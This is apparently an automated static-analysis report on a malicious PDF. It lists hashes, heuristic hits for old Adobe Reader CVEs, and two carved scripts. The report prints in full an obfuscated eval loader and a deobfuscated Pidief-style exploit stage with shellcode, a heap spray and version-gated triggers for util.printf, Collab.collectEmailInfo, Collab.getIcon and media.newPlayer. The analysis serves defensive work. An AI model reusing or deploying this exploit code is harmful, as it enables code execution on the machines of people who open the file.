Malicious PDF — malware analysis report

Static analysis result for SHA-256 fa322abb505447dc…

MALICIOUS

PDF

13.7 KB Authoring application: Ropajeketdiice First seen: 2026-05-11
MD5: dc9b442528623d5b1b537ffb69f4d430 SHA-1: 9669a412427ce8c72b8908356466d8deb89ff0c3 SHA-256: fa322abb505447dcadc2e37499b3f3f1eeecac31166b8141e5e0b08229e84bfa
408 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF contains embedded JavaScript, indicated by heuristic firings for PDF_JAVASCRIPT and PDF_JS. The ML classifier also flagged this PDF with a high probability of being malicious. The embedded JavaScript stream is the primary indicator of malicious activity, suggesting the document is designed to execute code. No specific IOCs like URLs or hashes were extracted, and the document body was unreadable.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0018_000.js pdf-javascript-stream PDF /JS object 18 at offset 0x2D5B 2599 bytes
SHA-256: d62721f034bb288b410a36bff97967b799cc05bb008cb1f2866b10d5d231a678
Preview script
First 1,000 lines of the extracted script
// de60c311e0daf80234297adafa915a29
var b=30-28;
// f385bf5afb71cd011d73b3cdb87fe618
var bM=new String("leng1EKk".substr(0,4)+"th");
// 27afb74f5f99cfa05da487ee9abac356
var qX=new String("unes"+"cape");
// 6ae3746e791314f1cb39f8f3f80fc3f3
var h=String;
// 8144dc0bd38af13600470065014f3236
var x=new String("subs"+"tr");
// b531dc11b763aeb70c86e331b0f52e20
var v=3;
// 3f5d3268999b6d27bc7d6d86d9391848
var r=74-73;
// b3796c1b5760edf7e9eb22da08513fac
var z="chartBn".substr(0,4)+"Code"+"3xJAtxJ3".substr(3,2);
// 6a65c8234f8fd678f59a7975afc75478
var zE="from"+"Char"+"Code";
// 3296bd43bb976fb9dc28f9df4766a0cd
var iL=this;
// 6e7e3e010fe80586b0c8d77d984f607b
var zS=String("evlTQC".substr(0,2)+"al");
// 233856fc2b984a16aa9ab4ede6abd845
var iLK=93;
// 21e4b01981eddd911ea592a9aeb499f2
var aP="getPa"+"geNumUlz".substr(0,5)+"I2vPWordsPIv2".substr(4,5);
// a2e73773f481cbf28011f825b0cb2ee4;
// d68c02d3cc65c31b981a5ed8d3deff0e
var vE=String("ch"+"ar"+"Co"+"de"+"At1Lx".substr(0,2));
// da359750c6b210aa33db8e6617d8b1cf
var oT=100-100;
// 8271d6e96302c23c2799ec77cc96136d
var j=new String("get"+"PagTcr".substr(0,3)+"5n2eNtn25".substr(3,3)+"hWo"+"vB2rdvB2".substr(3,2));
// 947f05c4e92824f7586bb410e3bd6b69
var l=new String("%sOyf".substr(0,1));
// 7ab7168b06af7fe6459e4954d4bda97b
function f(d){return d[bM]-b};
// 4a1f91d9bcabef256956df96cd487e13
function xG(eV,n){return eV^n;};
// bb4587372a7598b5e68e1401271c5078
function dA(d,mF){return d[mF]};
// 70c66937f81def2d61f7430f8fc2e6d7;
// 771c620be0a91e16899da3745418b6d8
var nM=iL[zS];
// 9cde41aa732aa9216138b9748dd57206
var oJ=new h();
// 2f8e4e76585fe705de706d29df40ade1
var zU=iL[aP](v);
// c7691046748770c2841f25744a2ead3b
var eX=iL[qX];
// 0984f2ba07c3b89f3c6eb0aacbc7603c
function t(d,bI){return d[x](bI,b)};
// 9cc394bc7e0171ccc3c27ff6354d5b51
var z=iL[z];
// 86b68babc5ac2e26c257cfb48c74dfe1
function cZ(bU,cB){return bU-cB};
// 3755b5b71c370c853106361979fc2460
function bQ(bU,cB){return bU+cB};
// 7f5b549a19f8c53ecf3d1e8da2fc4ff2
function yL(rW,bI){return rW[vE](bI)};
// 182d670b1eb42508dc3339b9413e3938
function kJ(p){return iL[j](v,p)};
// 5049e3bb7a2daa5afde1d3715ff372f5
function vG(p){
// 867b5eab9630ddb79b09c64d7327d9c3
var oF=kJ(p);
// c5e2d87801e6a7b51a67c8f55fe949cb
bI=f(oF);
// a81e5170e678c7bb540dde4aa8302f47
jG=t(oF,bI);
// 0467993a776125102db7c4052fea54c9
mV = eX(bQ(l,jG));return yL(mV,oT);};for(var p=oT;p<zU;p++){
// 2385bbb439c7573efdf5cd6be3a9ce6b
var hS=vG(p);
// a5473fe9fae8550a89db2e8403a3debd
var kB=xG(hS,iLK);
// 0f398819d2738d41624cd79ecce5cde3
oJ+=dA(h,zE)(kB);
// 492050a374c95e5dde6dfe7ea0628a84
}nM(oJ);
legacy_pdfkit_stage_000.js deobfuscated-js getPageWords-XOR Pidief stage normalized at offset 0x0 3777 bytes
SHA-256: 76cdadd50079aee0dcfeed0722f6d4cdd7002cf0a105bbebc043679c44873702
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
��������������
	var src_table = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890/.:_-?&=%';
	var dest_table= 'JQ2cS-uPHtBa/gCNDfU6Ej:lwxnM1L0k&sOI9imTpqXbd3GA%?0WY48y_V.ZvrRFe7zhKo5=';

var hwTl9Dn = new Array();  

function get_shellcode(name) {

	var u = get_url();
	u = for_unescape(u);

	var s = "%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455";
	s+= u;
	return unescape(s);
}


function get_url(){ 
	var str = this.info.author;
	var ret = encode_str(str, dest_table, src_table);
	return ret;
};


function encode_str(str, src_table, dest_table){

	var ret="";
	for(var i=0; i < str.length; i++)
	{
		var index = src_table.indexOf(str[i]);
		if(index > -1 )
		{
			ret += dest_table[index];
		}
	}

	return ret;
};


function for_unescape(str)
{
	var out = "";

    str = bin2hex(str);
    g = Math.round(str.length / 4);
	if (g != str.length /4) str+="00";

	for(var i=0; i < str.length; i+=4)
	{
		out+="%u" + str.substr(i+2, 2) + str.substr(i, 2);
	}

	return out;	
}


function bin2hex (s){

    var i, f = 0, a = [];
    
    s += '';
    f = s.length;
    
    for (i = 0; i<f; i++) {
        a[i] = s.charCodeAt(i).toString(16).replace(/^([\da-f])$/,"0$1").toUpperCase();
    }
    
    return a.join('');
}



function Rq4v1qCC(PDrScZj4, ez5pL6){    

	while (PDrScZj4.length * 2 < ez5pL6){      
		PDrScZj4 += PDrScZj4;    
	}    

	PDrScZj4 = PDrScZj4.substring(0, ez5pL6 / 2);    return PDrScZj4;  
}  

function x8EvTm(I7T0vko5){  

	var qPBt7D = 0x0c0c0c0c;        

	NRjjR6W6 = get_shellcode("pdf");

	if (I7T0vko5 == 1){qPBt7D = 0x30303030;}

	var FeQq1Vv = 0x400000;   
	var tsSzSc = NRjjR6W6.length * 2;    var ez5pL6 = FeQq1Vv - (tsSzSc + 0x38);    
	var PDrScZj4 = unescape("%u9090%u9090");    

	PDrScZj4 = Rq4v1qCC(PDrScZj4, ez5pL6);    

	var x62RaBM3 = (qPBt7D - 0x400000) / FeQq1Vv;    

	for (var Ojafoj = 0; Ojafoj < x62RaBM3; Ojafoj ++ ){    
		hwTl9Dn[Ojafoj] = PDrScZj4 + NRjjR6W6;    
	}
}  

function U2UcYKr(){   

var IyIFVe = app.viewerVersion.toString();          

	if (IyIFVe > 8)
	{
		x8EvTm(1);
		var iVvCdy8 = "12999999999999999999";          

		for (RvU5gmOE = 0; RvU5gmOE < 276; RvU5gmOE ++ )
		{
			iVvCdy8 += "8";   
		}

		util.printf("%45000f", iVvCdy8);      
	}


if (IyIFVe < 8){

	x8EvTm(0);    
	var UNXaCTHb = unescape("%u0c0c%u0c0c");    

	while (UNXaCTHb.length < 44952) UNXaCTHb += UNXaCTHb;    

	this .collabStore = Collab.collectEmailInfo({        subj : "", msg : UNXaCTHb});      
}       

if (IyIFVe < 9.1){

	if (app.doc.Collab.getIcon)
	{
		x8EvTm(0); 
        var eGREUTNw = unescape("%09");          
		while (eGREUTNw.length < 0x4000)eGREUTNw += eGREUTNw;

		eGREUTNw = "N." + eGREUTNw;    

		app.doc.Collab.getIcon(eGREUTNw);   
	}
}   
if (IyIFVe == 9.2){        
	x8EvTm(1);              
	var sf="1.000000000.000000000.1337 : 3.13.37";
	util.printd(sf, new Date());           
	try {	
		media.newPlayer(null);              
	} catch(e) {}
	util.printd(sf, new Date());
}

}

U2UcYKr();

��������LOO�[�

Open this report in the interactive analyzer, or submit your own file for analysis.